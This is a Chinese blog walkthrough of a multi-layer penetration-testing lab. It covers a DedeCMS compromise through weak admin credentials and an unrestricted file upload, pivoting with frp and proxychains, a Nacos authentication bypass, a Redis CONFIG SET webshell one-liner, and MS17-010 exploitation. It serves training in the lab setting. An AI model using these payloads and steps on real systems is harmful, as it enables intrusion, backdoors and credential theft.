当前位置: 首页 > news >正文

三层渗透测试-DMZ区域 二三层设备区域

DMZ区域渗透

信息收集

首先先进行信息收集,这里我们可以选择多种的信息收集方式,例如nmap如此之类的,我的建议是,可以通过自己现有的手里小工具,例如无影,密探这种工具,进行一个信息收集。以免在信息收集的环节,遗漏一些信息,导致后续渗透任务的失败。话不多说,我们先确定靶机地址

使用ifconfig命令,查看kali攻击机与DMZ靶机相连接的网卡,这里得到一个网段地址:192.168.50.0/24

使用nmap对其网段进行扫描

扫出来一个192.168.50.128开放了8080端口,这里建议访问一下,是不是我们的目标靶机

成功访问到一个cms平台,那证明上述ip靶机已经发现。那我们还要继续进行一些常见的信息收集,利用目录扫描工具进行扫描

使用dirsearch进行工具的扫描

得到如下结果,可能会有用的

/member/login.php                                 
/robots.txt 
/data/sessions

再用我们自带的字典进行查找:这个地方我直接用无影来扫了

这里我们得到一个管理后台的地址

又得到一个与sql文件有关的txt文件
我们现在先查看此sql文件存在那些相关信息

发现FTP服务的账户与密码

以及SMTP服务器的相关密码信息。

我们现在就需要去连接一下FTP服务器,看看上面存在什么文件。

发现上面服务器存在dedecms.zip估计就是网站的源码,先把他pull下来

我们将我们得到的信息进行总结

端口开放信息:
21/tcp   open  ftp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
8080/tcp open  http-proxy目录信息:
/member/login.php  //普通用户登录                            
/robots.txt 
/data/sessions
/dede/login.php  //后台管理用户登录文件信息:
/install/sql-dfdata.txt //sql文件信息服务器相关信息:
FTP   wwwroot/1
SMTP  desdev/7260444huxiao网站源码信息:
dedecms.zip网站系统版本:
dedecms57

源码审计&GETSHELL

通过上述的信息收集,我们已经知道/dede/login.php 是网站后台管理的登录页面,那我们可以先从此处入手逐渐分析

先分析这个目录下的文件:我们的目标是为了通过分析代码,找到有无我们可以利用的漏洞点,利用管理员账户的账户与密码信息,或者是登录框存在sql注入。登陆到后台找到有无存在文件上传getshell的功能点。话不多说,先进行分析

先来到login.php

<?php
/*** 后台登陆** @version        $Id: login.php 1 8:48 2010年7月13日Z tianya $* @package        DedeCMS.Administrator* @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.* @license        http://help.dedecms.com/usersguide/license.html* @link           http://www.dedecms.com*/
require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/userlogin.class.php');
if(empty($dopost)) $dopost = '';//检测安装目录安全性
if( is_dir(dirname(__FILE__).'/../install') )
{if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') ){$fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!');fwrite($fp,'ok');fclose($fp);}//为了防止未知安全性问题,强制禁用安装程序的文件if( file_exists("../install/index.php") ) {@rename("../install/index.php", "../install/index.php.bak");}if( file_exists("../install/module-install.php") ) {@rename("../install/module-install.php", "../install/module-install.php.bak");}$fileindex = "../install/index.html";if( !file_exists($fileindex) ) {$fp = @fopen($fileindex,'w');fwrite($fp,'dir');fclose($fp);}
}
//更新服务器
require_once (DEDEDATA.'/admin/config_update.php');if ($dopost=='showad')
{include('templets/login_ad.htm');exit;
}
//检测后台目录是否更名
$cururl = GetCurUrl();
if(preg_match('/dede\/login/i',$cururl))
{$redmsg = '<div class=\'safe-tips\'>您的管理目录的名称中包含默认名称dede,建议在FTP里把它修改为其它名称,那样会更安全!</div>';
}
else
{$redmsg = '';
}//登录检测
$admindirs = explode('/',str_replace("\\",'/',dirname(__FILE__)));
$admindir = $admindirs[count($admindirs)-1];
if($dopost=='login')
{$validate = empty($validate) ? '' : strtolower(trim($validate));$svali = strtolower(GetCkVdValue());if(($validate=='' || $validate != $svali) && preg_match("/6/",$safe_gdopen)){ResetVdValue();ShowMsg('验证码不正确!','login.php',0,1000);exit;} else {$cuserLogin = new userLogin($admindir);if(!empty($userid) && !empty($pwd)){$res = $cuserLogin->checkUser($userid,$pwd);//successif($res==1){$cuserLogin->keepUser();if(!empty($gotopage)){ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);exit();}else{ShowMsg('成功登录,正在转向管理管理主页!',"index.php");exit();}}//errorelse if($res==-1){ResetVdValue();ShowMsg('你的用户名不存在!','login.php',0,1000);exit;}else{ResetVdValue();ShowMsg('你的密码错误!','login.php',0,1000);exit;}}//password emptyelse{ResetVdValue();ShowMsg('用户和密码没填写完整!','login.php',0,1000);exit;}}
}
include('templets/login.htm');


登录逻辑:

这里存在一个函数,两个参数:

checkUser()
$userid
$pwd

还注意到在代码的开头,包含了两个文件

require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/userlogin.class.php');

我们先全局搜索checkUser()函数

这个地方定义了这个函数,我们分析以后,还是没有看见有用的信息,至少得找到数据库sql文件才行。但是经过一番查询后无果,所以我先决定尝试下弱口令。看看是否能登录进去

由于此登录框存在验证码登录,我们需要用到一个插件进行爆破。这里给出地址
地址:https://github.com/f0ng/captcha-killer-modified

配置教程:https://blog.csdn.net/weixin_72986003/article/details/144359468?ops_request_misc=%257B%2522request%255Fid%2522%253A%252242e73ae4142c000e7df9f2123c3842f0%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=42e73ae4142c000e7df9f2123c3842f0&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-9-144359468-null-null.142^v101^pc_search_result_base8&utm_term=%E9%AA%8C%E8%AF%81%E7%A0%81%E7%88%86%E7%A0%B4&spm=1018.2226.3001.4187

这里已经配置好了,我们现在就开始爆破:

成功找到弱口令密码,得到管理员账户与密码

管理员账户密码:
admin/admin

现在进行登录:查看后台存在那些功能点,根据后台功能点,我们去反向审计源代码,查看是否存在漏洞。

进入首页后,我们发现在附件管理一栏,发现存在上传文件的功能点

上述提示到,系统的上传附件/其他 类型的文件,可以通过其修改系统参数而进行更改,那我们现在就需要找到系统参数的修改功能点,添加后门文件类型。

那这个地方,在附件管理的允许上传文件的类型中,我们可以去添加我们想执行的后门文件类型,例如

.php/.jsp/.asp

等诸如此类的文件,这里我们先上传一个shell,看看是否能执行。

但是这里没有上传成功,那这个地方我们没办法再次进行利用,现在只能去审计源码,看看后台哪里还存在功能点。

审计到一处管理文件功能点:

dede/file_manage_main.php
<?php
/*** 文件查看** @version        $Id: file_manage_view.php 1 8:48 2010年7月13日Z tianya $* @package        DedeCMS.Administrator* @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.* @license        http://help.dedecms.com/usersguide/license.html* @link           http://www.dedecms.com*/
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
require_once(DEDEINC."/oxwindow.class.php");
$activepath = str_replace("..", "", $activepath);
$activepath = preg_replace("#^\/{1,}#", "/", $activepath);
if($activepath == "/") $activepath = "";
if($activepath == "") $inpath = $cfg_basedir;
else $inpath = $cfg_basedir.$activepath;//显示控制层
//更改文件名
if($fmdo=="rename")
{if($activepath=="") $ndirstring = "根目录";$ndirstring = $activepath;$wintitle = "&nbsp;文件管理";$wecome_info = "文件管理::更改文件名 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("filename",$filename);$win->AddTitle("更改文件名,当前路径:$ndirstring");$win->AddItem("旧名称:","<input name='oldfilename' type='input' class='alltxt' id='oldfilename' size='40' value='$filename'>");$win->AddItem("新名称:","<input name='newfilename' type='input' class='alltxt' size='40' id='newfilename'>");$winform = $win->GetWindow("ok");$win->Display();
}
//新建目录
else if($fmdo=="newdir")
{if($activepath=="") $activepathname="根目录";else $activepathname=$activepath;$wintitle = "&nbsp;文件管理";$wecome_info = "&nbsp;文件管理::新建目录 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("token",make_hash());$win->AddTitle("当前目录 $activepathname ");$win->AddItem("新目录:","<input name='newpath' type='input' class='alltxt' id='newpath'>");$winform = $win->GetWindow("ok");$win->Display();
}//移动文件
else if($fmdo=="move")
{$wintitle = "&nbsp;文件管理";$wecome_info = "&nbsp;文件管理::移动文件 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("filename",$filename);$win->AddTitle("新位置前面不加'/'表示相对于当前位置,加'/'表示相对于根目录。");$win->AddItem("被移动文件:",$filename);$win->AddItem("当前位置:",$activepath);$win->AddItem("新位置:","<input name='newpath' type='input' class='alltxt' id='newpath' size='40'>");$winform = $win->GetWindow("ok");$win->Display();
}//删除文件
else if($fmdo=="del")
{$wintitle = "&nbsp;文件管理";$wecome_info = "&nbsp;文件管理::删除文件 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("filename",$filename);if(@is_dir($cfg_basedir.$activepath."/$filename")){$wmsg = "你确信要删除目录:$filename 吗?";}else{$wmsg = "你确信要删除文件:$filename 吗?";}$win->AddTitle("删除文件确认");$win->AddMsgItem($wmsg,"50");$winform = $win->GetWindow("ok");$win->Display();
}//编辑文件
else if($fmdo=="edit")
{if(!isset($backurl)){$backurl = "";}$activepath = str_replace("..","",$activepath);$filename = str_replace("..","",$filename);$file = "$cfg_basedir$activepath/$filename";$content = "";if(is_file($file)){$fp = fopen($file,"r");$content = fread($fp,filesize($file));fclose($fp);$content = dede_htmlspecialchars($content);}$contentView = "<textarea name='str' id='str' style='width:99%;height:450px;background:#ffffff;'>$content</textarea>\r\n";$GLOBALS['filename'] = $filename;$path_parts  = pathinfo($filename);if ( $path_parts['extension'] == 'php' ){$GLOBALS['extension'] = 'text/x-php';} else if($path_parts['extension'] == 'js'){$GLOBALS['extension'] = 'text/javascript';} else if($path_parts['extension'] == 'css'){$GLOBALS['extension'] = 'text/css';} else {$GLOBALS['extension'] = 'text/html';}$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit.htm");$ctp->display();
}
/*编辑文件,可视化模式
else if($fmdo=="editview")
{if(!isset($backurl)){$backurl = "";}if(!isset($ishead)){$ishead = "";}$activepath = str_replace("..","",$activepath);$filename = str_replace("..","",$filename);$file = "$cfg_basedir$activepath/$filename";$fp = fopen($file,"r");@$content = fread($fp,filesize($file));fclose($fp);if((eregi("<html",$content) && eregi("<body",$content)) || $ishead == "yes"){$contentView = GetEditor("str",$content,"500","Default","string","true");}else{$contentView = GetEditor("str",$content,"500","Default","string","false");}$GLOBALS['filename'] = $filename;$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit_view.htm");$ctp->display();
}
*/
//新建文件
else if($fmdo=="newfile")
{$content = "";$GLOBALS['filename'] = "newfile.txt";$contentView = "<textarea name='str' style='width:99%;height:400'></textarea>\r\n";$GLOBALS['token'] = make_hash();$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit.htm");$ctp->display();
}//上传文件
else if($fmdo=="upload")
{$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_upload.htm");$ctp->display();
}

这个地方,上传的代码,并没有存在任何的上传过滤,对文件内容,以及常见的恶意文件后缀名没有进行任何的过滤,导致我们可以轻松获得shell。

成功上传shell。但是在平常的练习中,尽可能找到多的代码漏洞点。所以,我们继续审计代码,查看有无其他漏洞点。

/dede/media_main.php

在此处,我们发现,他调用了上述文件管理的功能点,所以这里也可上传shell,对应到web站点上

这里我就不在继续进行源码分析,我们先继续往下进行。

访问我们shell。使用蚁剑进行连接

shell地址:
http://192.168.50.128:8080/shell.php

成功获得flag
flag{78477a738c06620b872421af357d2cd5}

完成我们的DMZ区域的任务。

目标

拿下二层网络设备获取某服务内的flag

二层设备区域渗透

前期渗透准备

对于内网的渗透,我们前期要考虑诸多的因素,比如内网的首台机器,出不出网。这是一点,其次是内网环境到底是存在内网域或者是其他,渗透手法也不近相同。除此之外,内网的渗透其实和外网相差不大,但是在前期的信息收集等方面还是存在一定的差异。在前期渗透准备时,我们需要将我们的工具上传到我们此时已经拿到shell的服务器或者主机上。因为在宿主机上是不存在我们的渗透的工具的,如果宿主机出网,我们能够下载工具也无不可。

先连接蚁剑进行工具的上传

成功上传至我们的DMZ区域。现在就要进行信息的收集。

二层区域渗透

常见的来说,我们需要知晓在此机器上存在几张网卡,网段ip是什么。所以先行找到这个部分。

这里我们可以发现在二网卡的网段

192.68.60.0/24

所以现在就好办了,我们用我们已经上传的fscan进行扫描针对这个网段,看看能不能扫描出来一些有用的东西。

成功扫描以后,会在fscan的当前目录下生成一个result.txt文件,我们可以进行查看。

在其扫描的结果内我们可以看见,我们的fscan的POC扫描成功扫描出来一个在192.168.60.129的8848的一个nacos的一个漏洞。

由于我们的攻击机是不能直接访问到二层设备区域的,这里咱们使用frp进行反向代理,使我们的攻击机也能正常访问我们的二层区域。

在kali攻击机中开启fprs.exe(服务端),frps.toml配置文件默认为7000端口,用于和客户端进行交互

然后在kali上开启服务,

再在DMZ区域进行连接。

这里就已经成功了。我们可以尝试用kali的工具去测试一下到底是否能连接成功。

成功能ping到。我们现在就对刚才那个漏洞进行测试。

这里用nuclei也能扫描到一些漏洞

因为这些密码是加密以后的,还原还是比较困难,或者大家可以去CMD5上面去查,我没钱,就只能用漏洞重置密码了。

文章分析:
https://blog.csdn.net/weixin_51345872/article/details/127066347?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522cb0d78319a8457953a471f680a14840e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=cb0d78319a8457953a471f680a14840e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-5-127066347-null-null.142^v101^pc_search_result_base8&utm_term=nacos-authentication-bypass&spm=1018.2226.3001.4187

/nacos/v1/auth/users?username=test123&password=test123

访问上述路由后会创建一个账号

账号密码:
test123/test123

成功创建,这里创建账号的时候我们使用的POST方式。并不是GET。

创建成功后,直接登录:

这是第一个flag

注意到还有其他的信息,我们这里看到。

存在一个password。当然现在不知道是哪里的密码。我们这里再用namp去扫一扫。

这里用nmap进行扫描的时候,我们也要进行代理,这里我们用proxychains进行代理。

在/etc/proxychains4.conf,添加如下配置。

这个地方就和刚才我们在frp中的攻击机地址一样即可。我们在进行nmap扫描的时候,就需要加一个前缀进行代理扫描。

例如:

这里纯扫描是不能行的,开启代理扫即可

这里扫出来了一个/phpinfo.php

我们能够得到一些敏感信息:

/var/www/html

能够得到我们的绝对路径

我们之前用fscan的方式也扫描出来一个redis的默认服务端口6379,那我们之前得到一个密码现在就起到了一个作,我们可以写一个shell进去。

config set dir /var/www/html
config set dbfilename shell.php
set x "\r\n\r\n<?php @eval($_POST['cmd']);?>"
save

前往蚁剑进行连接,此处可以使用蚁剑自行配置代理,或proxifier指定文件

在根目录下找到flag。

到这里第二层的渗透也结束了,我们现在要准备进行第三层的渗透测试

三层区域信息收集

老样子上传fscan到二层设备上

这里扫描出来一个MS17-010的漏洞

直接利用工具进行注入利用

然后再注入dll文件

这个过程中会创建一个账号密码分别为:

admin01/Config123!@#

我们进行连接

成功获得flag

相关文章:

三层渗透测试-DMZ区域 二三层设备区域

DMZ区域渗透 信息收集 首先先进行信息收集&#xff0c;这里我们可以选择多种的信息收集方式&#xff0c;例如nmap如此之类的&#xff0c;我的建议是&#xff0c;可以通过自己现有的手里小工具&#xff0c;例如无影&#xff0c;密探这种工具&#xff0c;进行一个信息收集。以免…...

领航Linux UDP:构建高效网络新纪元

欢迎来到 破晓的历程的 博客 ⛺️不负时光&#xff0c;不负己✈️ 文章目录 引言Udp和Tcp的异同相同点不同点总结 1.1、socket1.2、bind1.3、recvfrom1.4、sendto2.1、代码2.1、说明3.1、代码3.2、说明 引言 在前几篇博客中&#xff0c;我们学习了Linux网络编程中的一些概念。…...

基于MATLAB的均匀面阵MUSIC算法DOA估计仿真

基于MATLAB的均匀面阵MUSIC算法DOA估计仿真 文章目录 前言一、二维MUSIC算法原理二、二维MUSIC算法MATLAB仿真三、MATLAB源代码总结 前言 \;\;\;\;\; 在波达角估计算法中&#xff0c;MUSIC 算法与ESPRIT算法属于特征结构子空间算法&#xff0c;是波达角估计算法中的基石。在前面…...

HTML/CSS中后代选择器

1.作用:选中指定元素中,符合要求的后代元素. 2.语法:选择器1 选择器2 选择器3 ...... 选择器n(使用空格隔开) 3.举例: /* 选中ul中的所有li */ul li{color: red;}/* 选中类名为subject元素中的所有li */.subject li{color: blue;}/* 选中类名为subject元素中的所有类名为f…...

深入解析「卡顿帧堆栈」 | UWA GPM 2.0 技术细节与常见问题

在游戏开发过程中&#xff0c;卡顿问题一直是影响玩家体验的关键因素。UWA GPM 2.0全新推出的「卡顿帧堆栈」功能&#xff0c;专为研发团队提供精准、高效的卡顿分析方案&#xff0c;能够直观呈现游戏运行时的堆栈信息&#xff0c;助力团队迅速找到性能瓶颈。该功能一经上线&am…...

推荐几款较好的开源成熟框架

一. 若依&#xff1a; 1. 官方网站&#xff1a;https://doc.ruoyi.vip/ruoyi/ 2. 若依SpringBootVueElement 的后台管理系统&#xff1a;https://gitee.com/y_project/RuoYi-Vue 3. 若依SpringBootVueElement 的后台管理系统&#xff1a;https://gitee.com/y_project/RuoYi-Cl…...

Mysql全文索引

引言 在MySQL 5.7.6之前&#xff0c;全文索引只支持英文全文索引&#xff0c;不支持中文全文索引&#xff0c;需要利用分词器把中文段落预处理拆分成单词&#xff0c;然后存入数据库。 从MySQL 5.7.6开始&#xff0c;MySQL内置了ngram全文解析器&#xff0c;用来支持中文、日文…...

配置终端代理

普通的魔法开启之后终端下git clone等命令仍然会无法使用&#xff0c;额外需要手动配置终端代理。 sudo vim /etc/apt/apt.conf.d/99proxyAcquire::http::Proxy "http://127.0.0.1:12334"; Acquire::https::Proxy "http://127.0.0.1:12334";在debian安装时…...

51单片机学习之旅——在LCD1602上显示时钟

新建工程 打开软件 LCD1602模块代码添加 因为我们在LCD1602上显示时钟&#xff0c;因此我们需要添加LCD1602的模块代码 跳转到这条博客51单片机学习之旅——模块化编程集_51单片机ruminant-CSDN博客&#xff0c;复制相关代码跳转到这条博客51单片机学习之旅——模块化编程集…...

Jest单元测试

由于格式和图片解析问题&#xff0c;可前往 阅读原文 前端自动化测试在提高代码质量、减少错误、提高团队协作和加速交付流程方面发挥着重要作用。它是现代软件开发中不可或缺的一部分&#xff0c;可以帮助开发团队构建可靠、高质量的应用程序 单元测试&#xff08;Unit Testi…...

C++字符串处理指南:从基础操作到性能优化——基于std::string的全面解析

博主将从C标准库中的 std::string 出发&#xff0c;详细探讨字符串的处理方法&#xff0c;涵盖常见操作、性能优化和实际应用场景。以下内容将围绕std::string 的使用展开&#xff0c;结合代码示例进行说明。 一、std::string 的基本操作 1.1 创建与初始化 std::string 提供了…...

JVM类加载过程详解:从字节码到内存的蜕变之旅

一、类加载的意义与整体流程 在Java中&#xff0c;每一个.java文件经过编译都会生成.class字节码文件。但字节码本身并不能直接运行&#xff0c;必须通过 类加载&#xff08;Class Loading&#xff09;将其转化为JVM内存中的数据结构&#xff0c;才能被程序调用。 类加载过程就…...

【力扣Hot100详解】解锁“字母异位词分组”:用排序魔法一键通关力扣!

字母异位词分组&#xff0c;力扣第49题&#xff0c;看似是“找不同”的排列游戏&#xff0c;实则是哈希表与字符串处理的经典结合。这道题就像是一把钥匙&#xff0c;能帮你打开“如何高效归类数据”的算法大门。今天&#xff0c;我们就用 Java 带你用“排序魔法”轻松破解它&a…...

vite配置scss全局变量

vite配置scss全局变量 创建单独文件variable.scss在其中定义变量 vite.config.ts中配置 import { defineConfig } from vite import vue from vitejs/plugin-vue import path from path// https://vite.dev/config/ export default defineConfig({plugins: [vue()],resolve:…...

Spring Boot01(注解、)---java八股

Spring Boot中常用注解及其底层实现 1、SpringBootApplication注解&#xff1a; SpringBootApplication注解&#xff1a;这个注解标识了一个SpringBoot工程&#xff0c;它实际上是另外三个注解的组合&#xff0c;这三个注解是&#xff1a; aSpringBootConfiguration&#xff1a…...

2.19学习记录

Web easyupload3.0 这是一道构造.htaccess文件的传马 如下&#xff1a; <FilesMatch "jpg">SetHandler application/x-httpd-php </FilesMatch>.htaccess文件可以作为一个解释器&#xff0c;可以将传进去的图片马改为php马上传之后再传个图片马&#…...

汽车免拆诊断案例 | 2013 款奔驰 S300L 车起步时车身明显抖动

故障现象  一辆2013款奔驰S300L车&#xff0c;搭载272 946发动机&#xff0c;累计行驶里程约为15万km。车主反映&#xff0c;将挡位置于D挡&#xff0c;稍微释放一点制动踏板&#xff0c;车辆蠕动时车身明显抖动&#xff0c;类似气缸失火时的抖动&#xff0c;又类似手动变速器…...

【HeadFirst系列之HeadFirst设计模式】第5天之工厂模式:比萨店的秘密武器,轻松搞定对象创建!

工厂模式&#xff1a;比萨店的秘密武器&#xff0c;轻松搞定对象创建&#xff01; 大家好&#xff0c;今天我们来聊聊设计模式中的工厂模式。如果你曾经为对象的创建感到头疼&#xff0c;或者觉得代码中到处都是 new 关键字&#xff0c;那么工厂模式就是你的救星&#xff01;本…...

Redis如何解决热Key问题

目录 **如何解决 Redis 的热 Key&#xff08;Hot Key&#xff09;问题&#xff1f;****解决方案** **1. 使用多级缓存****方案** **2. 进行 Key 预分片&#xff08;Key Sharding&#xff09;****方案** **3. 使用 Redis 复制机制&#xff08;主从复制或集群&#xff09;****方案…...

从开发到部署:EasyRTC嵌入式视频通话SDK如何简化实时音视频通信的集成与应用

嵌入式设备和视频综合管理平台均支持B/S架构。在B/S架构下&#xff0c;传统的视频观看方式依赖于微软的OCX控件&#xff0c;然而OCX控件的使用正面临越来越多的挑战&#xff1a; 首先&#xff0c;用户需要安装浏览器插件、调整浏览器安全级别&#xff0c;并允许ActiveX控件弹出…...

黑马Mybatis

Mybatis 表现层&#xff1a;页面展示 业务层&#xff1a;逻辑处理 持久层&#xff1a;持久数据化保存 在这里插入图片描述 Mybatis快速入门 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/6501c2109c4442118ceb6014725e48e4.png //logback.xml <?xml ver…...

Oracle查询表空间大小

1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...

安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件

在选煤厂、化工厂、钢铁厂等过程生产型企业&#xff0c;其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进&#xff0c;需提前预防假检、错检、漏检&#xff0c;推动智慧生产运维系统数据的流动和现场赋能应用。同时&#xff0c;…...

centos 7 部署awstats 网站访问检测

一、基础环境准备&#xff08;两种安装方式都要做&#xff09; bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats&#xff0…...

Python爬虫实战:研究feedparser库相关技术

1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...

汽车生产虚拟实训中的技能提升与生产优化​

在制造业蓬勃发展的大背景下&#xff0c;虚拟教学实训宛如一颗璀璨的新星&#xff0c;正发挥着不可或缺且日益凸显的关键作用&#xff0c;源源不断地为企业的稳健前行与创新发展注入磅礴强大的动力。就以汽车制造企业这一极具代表性的行业主体为例&#xff0c;汽车生产线上各类…...

vue3 字体颜色设置的多种方式

在Vue 3中设置字体颜色可以通过多种方式实现&#xff0c;这取决于你是想在组件内部直接设置&#xff0c;还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法&#xff1a; 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...

ardupilot 开发环境eclipse 中import 缺少C++

目录 文章目录 目录摘要1.修复过程摘要 本节主要解决ardupilot 开发环境eclipse 中import 缺少C++,无法导入ardupilot代码,会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...

【Android】Android 开发 ADB 常用指令

查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...

4. TypeScript 类型推断与类型组合

一、类型推断 (一) 什么是类型推断 TypeScript 的类型推断会根据变量、函数返回值、对象和数组的赋值和使用方式&#xff0c;自动确定它们的类型。 这一特性减少了显式类型注解的需要&#xff0c;在保持类型安全的同时简化了代码。通过分析上下文和初始值&#xff0c;TypeSc…...